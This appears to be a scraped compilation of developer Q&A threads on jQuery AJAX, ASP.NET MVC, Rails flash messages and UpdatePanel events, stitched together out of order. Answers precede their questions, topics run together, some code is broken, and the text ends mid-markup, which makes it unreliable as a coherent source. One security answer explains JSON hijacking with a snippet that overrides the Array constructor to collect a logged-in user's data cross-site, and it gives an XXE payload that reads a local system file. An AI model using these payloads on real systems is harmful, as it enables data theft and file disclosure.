If you're using MVC 3, then you can return an ActionResult in your controller that has the HTTP status code and status message together:
return new HttpStatusCodeResult(500, "Error message");
Then, in your error callback:
error: function (request, textStatus, errorThrown) {
alert(request.statusText);
}
I think that event is raised for any response that has a response code other than 200. I can't find proof of this in the docs though.
To do this from code (works in Webforms):
throw new HttpException(500, "Error message");
According to this page, you just need to apply the header HTTP/1.0 500 Internal Server Error on your ASP.net page. The $.ajax request will catch that error and execute the error callback function. =]
Let's say I have the following jQuery AJAX call:
$.ajax({
type: "POST",
url: "MyUrl",
data: "val1=test",
success: function(result){
// Do stuff
}
});
Now, when this AJAX call is made I want the server-side code to run through a few error handling checks (e.g. is the user still logged in, do they have permission to use this call, is the data valid, etc). If an error is detected, how do I bubble that error message back up to the client side?
My initial thought would be to return a JSON object with two fields: error and errorMessage. These fields would then be checked in the jQuery AJAX call:
$.ajax({
type: "POST",
url: "MyUrl",
data: "val1=test",
success: function(result){
if (result.error == "true")
{
alert("An error occurred: " & result.errorMessage);
}
else
{
// Do stuff
}
}
});
This feels a bit clunky to me, but it works. Is there a better alternative?
Personally, I have similar code to the following code in my library.
$.ajaxSetup({
error: function(xhr){
alert('Request Status: ' + xhr.status + ' Status Text: ' + xhr.statusText + ' ' + xhr.responseText);
}
});
jQuery docs Ajax/jQuery.ajaxSetup
The best way to bubble that error from the server side (using php) to the client side is to send a header through the Ajax request somewhere in the 400's (which is always associated with errors). Once the Ajax request receives this it will trigger your error function. This also means that you do not have to define an error: call in every $.ajax call.
header('HTTP/1.0 419 Custom Error');
Quote from w3.org header information
Error 4xx, 5xx The 4xx codes are intended for cases in which the client seems to have erred, and the 5xx codes for the cases in which the server is aware that the server has erred. It is impossible to distinguish these cases in general, so the difference is only informational. The body section may contain a document describing the error in human readable form. The document is in MIME format, and may only be in text/plain, text/html or one for the formats specified as acceptable in the request.
Doesn't the jQuery ajax function accept one more parameter at the end, a callback for failed calls? If so, just add a fail:function(...){..} after the success callback.
$.ajax({
type: "POST",
url: "MyUrl",
data: "val1=test",
success: function(result){
// Do stuff
},
error: function(request,status,errorThrown) {
// There's been an error, do something with it!
// Only use status and errorThrown.
// Chances are request will not have anything in it.
}
});
Return an error code on the server side using the HTTP error the best equates to what the error is. Then use the error callback. This will also allow you to show errors given by your webserver.
While researching the issue of JSON vs XML, I came across this question. Now one of the reasons to prefer JSON was listed as the ease of conversion in Javascript, namely with the eval(). Now this immediately struck me as potentially problematic from a security perspective.
So I started doing some research into the security aspects of JSON and across this blog post about how JSON is not as safe as people think it is. This part stuck out:
Update: If you are doing JSON 100% properly, then you will only have objects at the top level. Arrays, Strings, Numbers, etc will all be wrapped. A JSON object will then fail to eval() because the JavaScript interpreter will think it's looking at a block rather than an object. This goes a long way to protecting against these attacks, however it's still best to protect your secure data with un-predictable URLs.
Ok, so that's a good rule to start with: JSON objects at the top level should always be objects and never arrays, numbers or strings. Sounds like a good rule to me.
Is there anything else to do or avoid when it comes to JSON and AJAX related security?
The last part of the above quote mentions unpredictable URLs. Does anyone have more information on this, especially how you do it in PHP? I'm far more experienced in Java than PHP and in Java it's easy (in that you can map a whole range of URLs to a single servlet) whereas all the PHP I've done have mapped a single URL to the PHP script.
Also, how exactly do you use unpredictable URLs to increase security?
There are a number of security attacks against JSON, especially XSRF.
The vulnerability occurs when a web service uses cookies for authentication, and responds with a JSON array containing sensitive data in response to a GET request.
If an attacker can trick a user who is logged into a service, naive-webapp.com, into visiting their site (or any site that embeds an IFRAME they control, e.g. via embedded ads) then they can insert a <script> tag with a SRC to the naive-webapp.com, and potentially steal the user's data. This depends on a javascript quirk with the JavaScript Array constructor like this:
<script>
// Overload the Array constructor so we can intercept data
var stolenArrays = [];
var RealArray = Array;
Array = function () {
var arr = RealArray.apply(arguments);
stolenArrays.push(arr);
return arr;
}
</script>
<!-- even though the attacker can't access the cookies,
- he can cause the browser to send them to naive-webapp.com -->
<script src="//naive-webapp.com/..."></script>
<script>
// now stolenArrays contains any data from the parsed JSON
</script>
EcmaScript 5 has fixed the confusing behavior that caused [] to look up Array on the global object and many modern browsers are no longer susceptible to this attack.
Incidentally, Oil is wrong about unpredictable URLs. Cryptographically secure random identifiers in URLs are a fine way to protect resources. Identity based security is not a panacea as Oil suggests. See http://waterken.sourceforge.net/ for an example of a secure distributed application scheme based on cryptographically secure identifiers in URLs that does not require a concept of identity.
EDIT:
When considering JSON vs XML, you should be aware of XML specific attack vectors as well.
XXE, XML External entities attacks, use crafted XML to access file system and network resources through the firewall.
<!DOCTYPE root
[
<!ENTITY foo SYSTEM "file:///c:/winnt/win.ini">
]>
...
<in>&foo;</in>The Application embeds the input (parameter "in", which contains the win.ini file) to the web service response.
The main security hole from the blog (CSRF), is not JSON specific. It's just as big a hole using XML instead. Indeed, it's just as bad with no asynchronous calls at all; regular links are just as vulnerable.
When people talk about unique URLs, they generally DON'T mean http://yourbank.com/json-api/your-name/big-long-key-unique-to-you/statement. Instead, it's more common to make something else about the request unique; namely a value in the FORM post, or a URL parameter.
Usually this involves a random token inserted into the FORM on the server side, and then checked when a request is made.
The array/object thing is news to me:
Script-Tags: The attacker can embed a script tag pointing at a remote server and the browser will effectively eval() the reply for you, however it throws away the response and since JSON is all response, you're safe.
In that case, your site doesn't need to use JSON at all to be vulnerable. But yeah, if an attacker can insert random HTML into your site, you're toast.
it's still best to protect your secure data with un-predictable URLs.
Emphasis mine. What nonsense! It's best to protect your secure data with some proper authentication and possibly some encryption on top of that. JSON exchanges can still use existing authentication techniques (eg sessions through cookies) and SSL.
Relying on somebody not guessing a URL (what they're effectively talking about) will only be a reasonable technique (and even then, only just) when you're using JSON to export data to an anonymous third party (eg a web service). One example is Google's various web service API where anonymous users access Google-data through other websites. They use domain-referrer and API keys to make sure the man-in-the-middle website is allowed to provide Gooogle data.
If you're just using JSON to send private data to and from a direct, known user agent, use some real authentication and encryption. If you're trying to provide a webservice, then it really depends on how "secure" this data is going to be. If it's just public data and you don't mind who can read it, I don't see the point in making a hashy URL.
Edit: to demonstrate what they mean, consider this. Imagine your bank provided a JSON API for getting statements. If I could just type http://yourbank.com/json-api/your-name/statement, you probably wouldn't be best pleased.
They could generate a unique string for your account that was required in any JSON request though, eg: http://yourbank.com/json-api/your-name/big-long-key-unique-to-you/statement
I would have far less chance of being able to guess that. But would you really want that being the only buffer between your genuinely secure data and potential identity thieves? No.
Trying to rotate a div element...This might be DOM blasphemy, could it work possibly with a canvas element? I'm not sure - if anybody has any ideas of how this could work or why it doesn't, I'd love to know. Thanks.
Firefox 3.5, Safari, and Chrome all have a CSS transform property now that will let you rotate a div. You might find this helpful:
http://www.zachstronaut.com/posts/2009/02/17/animate-css-transforms-firefox-webkit.html
http://css3please.com has it in. No need for jQuery at all; it's brilliant!
yeah you're not going to have much luck i think. Typically across the 3 drawing methods the major browsers use (Canvas, SVG, VML), text support is poor, I believe. If you want to rotate an image, then it's all good, but if you've got mixed content with formatting and styles, probably not.
Check out RaphaelJS for a cross-browser drawing API.
To rotate a DIV Make use of WebkitTransform / -moz-transform: rotate(Xdeg).
This will not work in IE. The Raphael library does work with IE and it does rotation. I believe it uses canvases
If you want to animate the rotation, you can use a recursive setTimeout()
You could probably even do part of a spin with jQuery's .animate()
Make sure that you consider the width of your element. If rotate an that has a larger width than its visible content, you'll get funny results. However you can narrow the widths of elements, and then rotate them.
Here is a simply jQuery snippet that rotates the elements in a jQuery object. Rotatation can be started and stopped:
$(function() {
var $elie = $(selectorForElementsToRotate);
rotate(0);
function rotate(degree) {
// For webkit browsers: e.g. Chrome
$elie.css({ WebkitTransform: 'rotate(' + degree + 'deg)'});
// For Mozilla browser: e.g. Firefox
$elie.css({ '-moz-transform': 'rotate(' + degree + 'deg)'});
// Animate rotation with a recursive call
setTimeout(function() { rotate(++degree); },5);
}
});
I doubt you can rotate an element using DOM/CSS. Your best bet would be to render to a canvas and rotate that (not sure on the specifics).
When doing a Ajax call to an MVC action currently I have my javascript inside the View, not inside its own JS file.
It is then very easy to do this:
var xhr = $.ajax({
url: '<%= Url.Action("DisplayItem","Home") %>/' + el1.siblings("input:hidden").val(),
data: { ajax: "Y" },
cache: false,
success: function(response) { displayMore(response, el1, xhr) }
});
...then including the URL in the ajax call using Url.Action() inside the JS is pretty easy. How could i move this do its own JS file when without hard coding the URL?
This way fully uses MVC Routing so you can fully take advantage of the MVC framework. Inspired by stusmith's answer.
Here I have an action in ApplicationController for dynamic javascript for this URL :
/application/js
I'm including static files here because I want just one master javascript file to download. You can choose to just return the dynamic stuff if you want:
/// <summary>
/// Renders out javascript
/// </summary>
/// <returns></returns>
[OutputCache(CacheProfile = "Script")]
[ActionName("js")]
public ContentResult RenderJavascript()
{
StringBuilder js = new StringBuilder();
// load all my static javascript files
js.AppendLine(IO.File.ReadAllText(Request.MapPath("~/Scripts/rr/cart.js")));
js.AppendLine(";");
// dynamic javascript for lookup tables
js.AppendLine(GetLookupTables());
js.AppendLine(";");
return new ContentResult()
{
Content = js.ToString(),
ContentType = "application/x-javascript"
};
}
This is the helper function that creates our lookup table. Just add in a line for each RouteUrl you want to use.
[NonAction]
private string GetLookupTables()
{
StringBuilder js = new StringBuilder();
// list of keys that correspond to route URLS
var urls = new[] {
new { key = "updateCart", url = Url.RouteUrl("cart-route", new { action = "updatecart" }) },
new { key = "removeItem", url = Url.RouteUrl("cart-route", new { action = "removeitem" }) }
};
// lookup table function
js.AppendLine("// URL Lookuptable");
js.AppendLine("$.url=function(url) {");
js.AppendLine("var lookupTable = " + new JavaScriptSerializer().Serialize(urls.ToDictionary(x=>x.key, x=>x.url)) + ";");
js.AppendLine("return lookupTable[url];");
js.AppendLine("}");
return js.ToString();
}
This generates the following dynamic javascript, which is basically just a lookup table from an arbitrary key to the URL I need for my action method :
// URL Lookuptable
$.url=function(url) {
var lookupTable = {"updateCart":"/rrmvc/store/cart/updatecart","removeItem":"/rrmvc/store/cart/removeitem"};
return lookupTable[url];
}
In cart.js I can have a function like this. Note that the url parameter is taken from the lookup table :
var RRStore = {};
RRStore.updateCart = function(sku, qty) {
$.ajax({
type: "POST",
url: $.url("updateCart"),
data: "sku=" + sku + "&qty=" + qty,
dataType: "json"
// beforeSend: function (){},
// success: function (){},
// error: function (){},
// complete: function (){},
});
return false;
};
I can call it from anywhere with just :
RRStore.updateCart(1001, 5);
This seemed to be the only way I could come up with that would allow me to use routing in a clean way. Dynamically creating URLS in javascript is icky and hard to test. Testing types can add in a layer somewhere in here to easily facilitate testing.
Wrap the AJAX call in a function that takes the URL (and any other data) as a parameter(s) and returns the response. Then in your view, call the function instead of calling the AJAX call directly.
function doAjax( url, data, elem, callback )
{
return $.ajax({
url: url,
data: { ajax: data },
cache: false,
success: function(response) { callback(response, elem, xhr); }
});
}
...
<input type='button' value='Go get it' onclick='doAjax( <%= Url.Action ...
I'm not sure that this is any better than having the Ajax call on the page instead of in a JS file, unless you use the exact same pattern frequently.
The way I do it is generate the URL server-side and store in the generated HTML using an HTML5 data attribute, eg: (Razor syntax)
<li class='customClass' data-url='@Url.Action("DisplayItems", "Home", new { id = Model.Id })'>...</li>
Then you can use the jQuery attr() function to pick up the url, eg:
$(".customClass").click(function () {
$.ajax({
url: $(this).attr("data-url"),
success: function (data) {
// do stuff
}
});
});
If you're generating HTML client-side in response to AJAX calls, you can include the relevant URLs in your JSON payload and populate the data- attribute the same way.
Use the module pattern.
// separate js file
var PAGE_MODULE = (function () {
var url = {},
init = function(url) { ... },
load = function() {
$.ajax({
url: url,
...
});
}
return { init: init };
})();
// calling init goes on the page itself
PAGE_MODULE.init(" %: Url.Action(...) %>");
In general the inline onclick handler is not good javascript as you are using a global function.
I recommend reading http://jqfundamentals.com/book/index.html#N20D82 to get a better handle on the module pattern.
Here's another way:
In your master page, include an area for inline scripts:
<head>
...
<asp:ContentPlaceHolder runat="server" ID="_inlineScripts" />
...
</head>
Then in the Page_Load, create a utility function:
protected void Page_Load( object sender, EventArgs e )
{
AddInlineScript( string.Format( "$.url=function(url){{return '{0}'+url;}}", GetBaseUri() ) );
...
}
private Uri GetBaseUri()
{
var requestUrl = Request.Url.AbsoluteUri;
var i = requestUrl.IndexOf( request.Path );
return new Uri( requestUrl.Substring( 0, i ) );
}
private void AddInlineScript( string content )
{
var script = new HtmlGenericControl( "script" );
script.Attributes.Add( "type", "text/javascript" );
script.InnerHtml = content;
_inlineScripts.Controls.Add( script );
}
Now you can use this function in your ajax:
$.ajax({
url: $.url('path/to/my-handler'),
...
});
I'm pretty happy with the solution that I came up with. Basically, I have a helper method that reloads the flash inline, and then I have an after_filter that clear out the flash if the request is xhr. Does anyone have a simpler solution than that?
You can also store the flash messages in the response headers using a after_filter block and display them using javascript:
And in application.js add a global ajax handler. For jquery do something like this:
Replace alert() with your own javascript flash function or try jGrowl.
This is needed in the js response
If you are using RSJ:
page.replace_html :notice, flash[:notice]
flash.discard
If you are using jQuery:
$("#flash_notice").html(<%=escape_javascript(flash.delete(:notice)) %>');
Looks like what you need is flash.now[:notice], which is only available in the current action and not in the next. You can take a look at the documentation here: http://api.rubyonrails.com/classes/ActionController/Flash/FlashHash.html#M000327
Another way would be update/display the "notice" div with the message from the your Ajax requests "OnFailure" handler. It gives you the ability to show these flash messages with required effect. I used this
in the Javascript
HTH
The only improvement I can think of is making the page.reload_flash default (not having to put it on every rjs file, and make it expicit if you don't want to reload the flash, something like page.keep_flash.
I wouldn't know where to start but knowing some rails I'm sure it's not that hard.
Based on gudleik answer:
class ApplicationController < ActionController::Base
after_filter :flash_to_headers
def flash_to_headers
return unless request.xhr?
response.headers['X-Message'] = flash_message
response.headers["X-Message-Type"] = flash_type
flash.discard # don't want the flash to appear when you reload page
end
private
def flash_message
[:error, :warning, :notice].each do |type|
return flash[type] unless flash[type].blank?
end
end
def flash_type
[:error, :warning, :notice].each do |type|
return type unless flash[type].blank?
end
end
Then on your application.js (if you're using Rails native Prototype helpers) add:
Ajax.Responders.register({
onComplete: function(event, request) {
var msg = request.getResponseHeader('X-Message');
var type = request.getResponseHeader('X-Message-Type');
showAjaxMessage(msg, type); //use whatever popup, notification or whatever plugin you want
}
});
Assign the message in the controller like this:
flash.now[:notice] = 'Your message'
app/views/layouts/application.js.erb - Layout for Ajax Requests. Here you can simply use
<%= yield %>
alert('<%= escape_javascript(flash.now[:notice]) %>');
or with some rich animations using gritter: http://boedesign.com/demos/gritter/
<%= yield %>
<% if flash.now[:notice] %>
$.gritter.add({
title: '--',
text: '<%= escape_javascript(flash.now[:notice]) %>'
});
<% end %>
Building on top of others -
#application_controller.rb
class ApplicationController < ActionController::Base
after_filter :flash_to_headers
def flash_to_headers
if request.xhr?
#avoiding XSS injections via flash
flash_json = Hash[flash.map{|k,v| [k,ERB::Util.h(v)] }].to_json
response.headers['X-Flash-Messages'] = flash_json
flash.discard
end
end
end
//application.js
$(document).ajaxComplete(function(event, request){
var flash = $.parseJSON(request.getResponseHeader('X-Flash-Messages'));
if(!flash) return;
if(flash.notice) { $('.notice').html(flash.notice); }
if(flash.error) { alert(flash.error); }
//so forth
}
I'm doing some simple tests (in preparation for a larger project) to call an ASP.NET WebMethod using JQuery AJAX. In my example, my WebMethod returns a simple string. However, when I attempt to call it using JQuery, I get the entire HTML page content returned instead of just my string. What am I missing?
Client Side :
$(document).ready(function ready() {
$("#MyButton").click(function clicked(e) {
$.post("Default.aspx/TestMethod",
{name:"Bob"},
function(msg) {
alert("Data Recieved: " + msg);
},
"html"
);
});
});
Server Side:
using System;
using System.Web.Services;
namespace JqueryAjaxText
{
public partial class _Default : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
}
[WebMethod]
public static string TestMethod(string name)
{
return "The value submitted was " + name;
}
}
}
Check out this link. I used some of his other posts to calll WCF service with success. Be sure to check out the related articles:
http://encosia.com/2008/05/29/using-jquery-to-directly-call-aspnet-ajax-page-methods/
Read through the article but its essentially:
$(document).ready(function() {
$("#Result").click(function() {
$.ajax({
type: "POST",
url: "Default.aspx/GetDate",
data: "{}",
contentType: "application/json; charset=utf-8",
dataType: "json",
success: function(msg) {
$("#Result").text(msg.d);
}
});
Try changing the last parameter "html" to "text". This parameter specifies the type of data to be returned.
I think I was getting confused with the "type" parameter in JQuery's $.post command. After talking to some folks, it seems that the return type for calling a WebMethod MUST be "json". I was trying to use "html". Once I changed it to "json" and then everything worked like normal. So apparently, a method decorated with [WebMethod] returns JSON only, and that's where my hangup was.
Thanks for your replies guys.
Check out the link below it might help you for your solution:
http://azamsharp.com/Posts/83_Using_FireBug_Profiler_to_Dig_Deep_into_MS_AJAX_and_JQuery_API.aspx
is there anyway to have an image act as an ajax actionlink? I can only get it to work using text. Thanks for your help!
From Stephen Walthe, from his Contact manger project
public static class ImageActionLinkHelper
{
public static string ImageActionLink(this AjaxHelper helper, string imageUrl, string altText, string actionName, object routeValues, AjaxOptions ajaxOptions)
{
var builder = new TagBuilder("img");
builder.MergeAttribute("src", imageUrl);
builder.MergeAttribute("alt", altText);
var link = helper.ActionLink("[replaceme]", actionName, routeValues, ajaxOptions);
return link.Replace("[replaceme]", builder.ToString(TagRenderMode.SelfClosing));
}
}
You can now type in your aspx file :
<%= Ajax.ImageActionLink("../../Content/Delete.png", "Delete", "Delete", new { id = item.Id }, new AjaxOptions { Confirm = "Delete contact?", HttpMethod = "Delete", UpdateTargetId = "divContactList" })%>
Here's the easiest solution I've found:
<%= Ajax.ActionLink("[replacethis]", ...).Replace("[replacethis]", "<img src=\"/images/test.gif\" ... />" %>
The Replace() call is used to push the img tag into the action link. You just need to use the "[replaceme]" text (or any other safe text) as a temporary placeholder to create the link.
This is an MVC 3 update to Black Horus' answer:
public static class ImageActionLinkHelper
{
public static IHtmlString ImageActionLink(this AjaxHelper helper, string imageUrl, string altText, string actionName, object routeValues, AjaxOptions ajaxOptions)
{
var builder = new TagBuilder("img");
builder.MergeAttribute("src", imageUrl);
builder.MergeAttribute("alt", altText);
var link = helper.ActionLink("[replaceme]", actionName, routeValues, ajaxOptions).ToHtmlString();
return new MvcHtmlString(link.Replace("[replaceme]", builder.ToString(TagRenderMode.SelfClosing)));
}
}
You can now type in your .cshtml file :
@Ajax.ImageActionLink("../../Content/Delete.png", "Delete", "Delete", new { id = item.Id }, new AjaxOptions { Confirm = "Delete contact?", HttpMethod = "Delete", UpdateTargetId = "divContactList" })
Another solution is to create your own extension method:
ActionLink<TController>(this HtmlHelper helper, Expression<Action<TController>> action, string linkText, object htmlAttributes, LinkOptions options)
and as the last parameter is the enumeration LinkOptions
[Flags]
public enum LinkOptions
{
PlainContent = 0,
EncodeContent = 1,
}
and then you can use it as follows:
Html.ActionLink<Car>(
c => c.Delete(item.ID), "<span class=\"redC\">X</span>",
new { Class = "none left" },
LinkOptions.PlainContent)
I'll post whole description of this solution on my blog: http://fknet.wordpress.com/
The short answer is that is not possible. Your options are to write your own extension method to have an ImageActionLink, not too hard to do. Or add an attribute to the actionLink and replace the innerhtml with the image tag.
See version 7 the Contact Manager Tutorial on http://asp.net/mvc. Stephen Walther has an example of creating an Ajax.ActionLink that is an image.
MVC3, Html.ActionImageLink and Ajax.ActionImageLink
Thank you to all the other answers in helping me with these.
public static MvcHtmlString ActionImageLink(this HtmlHelper helper, string imageUrl, string altText, string actionName, string controller, object routeValues)
{
var builder = new TagBuilder("img");
builder.MergeAttribute("src", imageUrl);
builder.MergeAttribute("alt", altText);
var link = helper.ActionLink("[replaceme]", actionName, controller, routeValues);
return new MvcHtmlString(link.ToHtmlString().Replace("[replaceme]", builder.ToString(TagRenderMode.SelfClosing)));
}
public static MvcHtmlString ActionImageLink(this AjaxHelper helper, string imageUrl, string altText, string actionName, string controller, object routeValues, AjaxOptions ajaxOptions)
{
var builder = new TagBuilder("img");
builder.MergeAttribute("src", imageUrl);
builder.MergeAttribute("alt", altText);
var link = helper.ActionLink("[replaceme]", actionName, controller, routeValues, ajaxOptions);
return new MvcHtmlString(link.ToHtmlString().Replace("[replaceme]", builder.ToString(TagRenderMode.SelfClosing)));
}
The first solution is to use a helper static method DecodeLinkContent like the following:
DecodeLinkContent(Html.ActionLink<Home>(c => c.Delete(item.ID), "<span class=\"redC\">X</span>",new { Class = "none left"}))
DecodeLinkContent has to find first '>' and last '<' and has to replace the content with HttpUtility.Decode(content).
This solution is little bit a hack but I think it's the most easy.
Sys.WebForms.PageRequestManager.getInstance().add_endRequest(EndRequestHandler) does not work for me because this will fire after ANY update panel finishes loading, and I can find no client side way to find which is the one
ScriptManager.GetCurrent(Page).AsyncPostBackSourceElementID AsyncPostBackSourceElementID does not work for me as this is a server side object, and i want Client Side
The ClientSide .Net framework must know which UpdatePanel it is updating in order to update the correct content. Surely there is a way to hook into this event?
Any help would be appreciated.
Thanks - both good answers. I went with the client side script "pageloaded" in the end. That is a fairly buried method that google did not reveal to me. For those who are interested, this code works with FireBug to give a good demo of the PageLoaded method working to find the updated panels:
<script type="text/javascript">
$(document).ready(function() {
panelsLoaded = 1;
Sys.WebForms.PageRequestManager.getInstance().add_pageLoaded(PageLoaded)
});
function PageLoaded(sender, args) {
console.log("I have occured " + panelsLoaded++ + " times!");
var panelsCreated = args.get_panelsCreated();
for (var i = 0; i < panelsCreated.length; i++) {
console.log("Panels Updating: " + panelsCreated[i].id);
}
var panelsUpdated = args.get_panelsUpdated();
for (var i = 0; i < panelsUpdated.length; i++) {
console.log("Panels Updating: " + panelsUpdated[i].id);
}
}
</script>
You can hook the PageRequestManager.beginRequest event and inspect the BeginRequestEventArgs.postBackElement property.
Note that it doesn't really give you the UpdatePanel, but the control inside of the UpdatePanel. That should be good enough, though.
Edit: Even better, the PageRequestManager.pageLoaded event gives you PageLoadedEventArgs.panelsUpdated (and panelsCreated) properties.
This may be your solution.
In the code behind for the UpdatePanel's OnLoad event, register a startup script.
string scriptText = "alert('Bar!');"; ScriptManager.RegisterStartupScript(this.Page, this.GetType(), "foo", scriptText, true);
I have a similar issue. None of the events of the PageRequestManager are firing for me. I attempted to wire up to the initialize, begin and end request methods but they do not seem to fire.
link href="Stylesheet1.css" rel="stylesheet" type="text/css" />
<title>Mirant</title>
<script language="javascript" type="text/javascript">
var oldgridSelectedColor;
var prm = Sys.WebForms.PageRequestManager.getInstance();
prm.add_pageLoaded(pageLoaded);
prm.add_beginRequest(beginRequest);
prm.add_initializeRequest(Init):
Sys.WebForms.PageRequestManager.getInstance().add_endRequest(setscrollPos);
var postbackElement;
// This Script is used to maintain Grid Scroll on Partial Postback
function setMouseOverColor(element) {
oldgridSelectedColor = element.style.backgroundColor;
//element.style.backgroundColor = '#FF6699';
element.style.cursor='hand';
element.style.textDecoration='none';
}
function setMouseOutColor(element)
{
element.style.backgroundColor=oldgridSelectedColor;
element.style.textDecoration='none';
}
function Init(sender, args) {
alert('init');
}
function setscrollPos(sender, args) {
alert('got it');
$get("divScroll").scrollTop = $get("hdnScrollTop").value;
}
function beginRequest(sender, args) {
postbackElement = args.get_postBackElement();
}
function pageLoaded(sender, args) {
alert('got it');
var updatedPanels = args.get_panelsUpdated();
if (typeof (postbackElement) == "undefined") {
alert('ERROR');
return;
}
if (postbackElement.id.toLowerCase().indexOf('gridviewapprovals') > -1) {
$get("divScroll").scrollTop = $get("hdnScrollTop").value;
}
}
function scroll(pos) {
$get('hdnScrollTop').value = pos;
alert($get('hdnScrollTop').value)
}
</script>
<style type="text/css">
.WrapperDiv {
width:800px;height:400px;border: 1px solid black;
}
.WrapperDiv TH {
position:relative;
}
.WrapperDiv TR
{
/* Needed for IE */
height:0px;
}
.HeaderText
{
font-family: tahoma;
font-size: medium;
font-weight: bold;
color: #0000FF;
}
.NormalText
{
font-family: tahoma;
font-size: small;
color: #0000FF;
}
.DetailText
{
font-family: tahoma;
font-size: large;
font-weight: bold;
color: #0000FF;
}
.modalBackground {
background-color:Gray;
filter:alpha(opacity=70);
opacity:0.7;
}
.ModalPopup
{
font-family: tahoma;
background-color: #CCFFFF;
border: thick groove #0000FF;
padding: 4px;
margin: 5px 10px 5px 10px;
}
.HeaderFreez
{
position:relative ;
top:expression(this.offsetParent.scrollTop);
z-index: 10;
background-color: Navy;
border-bottom: groove 4 Blue;
z-index:0;
color: White
}
</style>
<form id="form1" runat="server" title="Assigned Approvals">
<asp:ScriptManager ID="ScriptManager1" runat="server" EnablePartialRendering="True" />
<asp:UpdatePanel ID="updatePanel1" runat="server" UpdateMode="Conditional">
<ContentTemplate>
<cc1:AlwaysVisibleControlExtender ID="AlwaysVisibleControlExtender2"
runat="server"
TargetControlID="instructionsPanel"
VerticalSide="Top" VerticalOffset="0"
HorizontalSide="Right" HorizontalOffset="0"
ScrollEffectDuration=".1" >
</cc1:AlwaysVisibleControlExtender>
<asp:Panel runat="server" ID="instructionsPanel" Width="100%" BackColor="White"
BorderColor="#3333CC" BorderStyle="Groove" BorderWidth="2px">
<span class="HeaderText">Instructions </span>
<br />
<span class="NormalText" >1. Select either Approve, Remove, or Change Access for
each row.
<br />
2. If you selected Change, you must provide a description of the modification.
<br />
3. Click the Complete button at the bottom of the screen after you've reviewed
ALL of your approvals.
<br />
<span class="HeaderText" />
<br />
NOTE: THIS DOES NOT REMOVE THE USER. THIS APPLICATION JUST SENDS NOTIFICATION TO
THE APPLICATION OWNERS TO PERFORM YOUR SUGGESTED ACTIONS.
</asp:Panel>
<div align="center" style="padding: 4px; margin: 4px; width:auto; height:600px; overflow: visible;" runat="server">
<table width="100%" style="margin-top: 145px;" runat="server">
<tr>
<td colspan="2">
<asp:Panel runat="server" ID="spaceSaver" BackColor="Green"
BorderStyle="Groove" BorderWidth="4" BorderColor="Blue" >
</asp:Panel>
</td>
</tr>
<tr style="position: absolute; top: 10px">
<td style="border: medium groove #0000FF; width: 50%; position: absolute;" class="NormalText"
bgcolor="#CCFFFF" >
<input type="hidden" id="hdnScrollTop" runat="server" value="0" />
<div id="divScroll" style="width:500px;height:400px; overflow:scroll;" onscroll="$get('hdnScrollTop').value = this.scrollTop;" runat="server" >
<asp:GridView ID="GridViewApprovals" runat="server" AutoGenerateColumns="False"
DataSourceID="soaDataSource" DataKeyNames="Id"
onrowdatabound="GridViewApprovals_RowDataBound"
onselectedindexchanged="GridViewApprovals_SelectedIndexChanged"
Width="100%" AllowPaging="False">
<HeaderStyle CssClass="HeaderFreez" />
<Columns>
<asp:BoundField DataField="Id" HeaderText="Id" SortExpression="Id" />
<asp:BoundField DataField="AuditableApplicationName" HeaderText="Application"
SortExpression="AuditableApplicationName" />
<asp:BoundField DataField="UserFullName" HeaderText="User"
SortExpression="UserFullName" />
<asp:TemplateField HeaderText="Continue" SortExpression="ContinueAccess">
<ItemTemplate>
<asp:CheckBox ID="cbContinueAccess" runat="server"
Checked='<%# Bind("ContinueAccess") %>'
oncheckedchanged="cbContinueAccess_CheckedChanged" />
</ItemTemplate>
</asp:TemplateField>
<asp:TemplateField HeaderText="Remove" SortExpression="RemoveAccess">
<ItemTemplate>
<asp:CheckBox ID="cbRemoveAccess" runat="server"
Checked='<%# Bind("RemoveAccess") %>'
oncheckedchanged="cbRemoveAccess_CheckedChanged" />
</ItemTemplate>
</asp:TemplateField>
<asp:TemplateField HeaderText="Change" SortExpression="ChangeAccess">
<ItemTemplate>
<asp:CheckBox ID="cbChangeAccess" runat="server"
oncheckedchanged="cbChangeAccess_CheckedChanged" CausesValidation="true"
/>
</ItemTemplate>
</asp:TemplateField>
</Columns>
<SelectedRowStyle BackColor="#6699FF" />
</asp:GridView>
<asp:ObjectDataSource ID="soaDataSource" runat="server"
SelectMethod="GetApprovals"
TypeName="SOABuddy.Silverlight.Web.ApprovalItemsProvider">
</asp:ObjectDataSource>
</div>
</td>
<td style="border: medium groove #000080; width: 50%;" class="NormalText" valign="top"; >
<cc1:AlwaysVisibleControlExtender ID="AlwaysVisibleControlExtender1"
runat="server"
TargetControlID="authDetails"
VerticalSide="Top" VerticalOffset="150"
HorizontalSide="Right" HorizontalOffset="10"
ScrollEffectDuration=".1">
</cc1:AlwaysVisibleControlExtender>
<asp:Panel runat="server" ID="authDetails" style=" padding: 10px ; border: thick groove #0000FF;
width: 400px; height: 380px; background-color: #CCFFFF; "
BackColor="#CCFFFF" >
<table class="NormalText" id="tableDetails">
<tr>
<td style="overflow: auto; width: 15%;">
User Name:
</td>
<td class="DetailText" style="border: medium groove #0000FF; width: 30%;" >
<asp:Literal ID="userName" runat="server"></asp:Literal>
</td>
</tr>
<tr>
<td>
User ID:</td>
<td class="DetailText">
<asp:Literal ID="userId" runat="server"></asp:Literal>
</td>
</tr>
<tr>
<td>
Application User ID:</td>
<td class="DetailText">
<asp:Literal ID="applicationUserId" runat="server"></asp:Literal>
</td>
</tr>
<tr>
<td>
Application Resource:</td>
<td class="DetailText">
<asp:Literal ID="applicationResource" runat="server"></asp:Literal>
</td>
</tr>
<tr>
<td>
Last Login:</td>
<td class="DetailText">
<asp:Literal ID="lastLogin" runat="server"></asp:Literal>
</td>
</tr>
<tr>
<td>
Roles</td>
<td class="NormalText">
<asp:ListBox ID="listBoxRoles" runat="server" Width="95%"></asp:ListBox>
</td>
</tr>
<tr >
<td>
</td>
<td class="NormalText">
</td>
</tr>
<tr style="height: 100px;">
<td>
Change Comments</td>
<td class="NormalText">
<asp:TextBox ID="tbChangeComments" runat="server" Height="100"
TextMode="MultiLine" Width="95%" BorderColor="White"></asp:TextBox>
</td>
</tr>
</table>
</asp:Panel>
</td>
</tr>
<tr>
<td class="NormalText">
footer
<asp:LinkButton ID="dummy" runat="server" ></asp:LinkButton>
<cc1:ModalPopupExtender ID="Comments_ModalPopupExtender" runat="server"
TargetControlID="dummy"
CancelControlID="ButtonCommentsCancel"
OkControlID="ButtonCommentsOK"
BackgroundCssClass="modalBackground"
PopupControlID="PanelComments"
OnOkScript="saveComment"
DropShadow="true">
